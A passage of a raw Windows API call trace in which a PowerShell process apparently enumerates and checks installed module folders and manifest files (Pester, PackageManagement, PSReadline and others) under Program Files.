ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0200.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0200.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0200.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0200.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0200.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0200.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0200.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0200.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa100 [0200.653] FindNextFileW (in: hFindFile=0x1ef704aa100, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x1ef704aa100, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x1ef704aa100, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.653] FindClose (in: hFindFile=0x1ef704aa100 | out: hFindFile=0x1ef704aa100) returned 1 [0200.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0200.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0200.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0200.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0200.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d0090 | out: lpFileInformation=0x1ef003d0090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0200.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.654] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0200.654] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0200.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0200.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.655] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.655] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0200.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa280 [0200.655] FindNextFileW (in: hFindFile=0x1ef704aa280, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.656] FindNextFileW (in: hFindFile=0x1ef704aa280, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918c5369, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918c5369, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0200.656] FindNextFileW (in: hFindFile=0x1ef704aa280, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.656] FindClose (in: hFindFile=0x1ef704aa280 | out: hFindFile=0x1ef704aa280) returned 1 [0200.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0200.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0200.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0200.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0200.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003d2b00 | out: lpFileInformation=0x1ef003d2b00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0200.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0200.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0200.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0200.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0200.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704a9a40 [0200.658] FindNextFileW (in: hFindFile=0x1ef704a9a40, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.658] FindNextFileW (in: hFindFile=0x1ef704a9a40, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0200.658] FindNextFileW (in: hFindFile=0x1ef704a9a40, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0200.659] FindNextFileW (in: hFindFile=0x1ef704a9a40, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.659] FindClose (in: hFindFile=0x1ef704a9a40 | out: hFindFile=0x1ef704a9a40) returned 1 [0200.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0200.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0200.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e420 | out: lpFileInformation=0x5bfed4e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0200.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e300) returned 1 [0200.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: 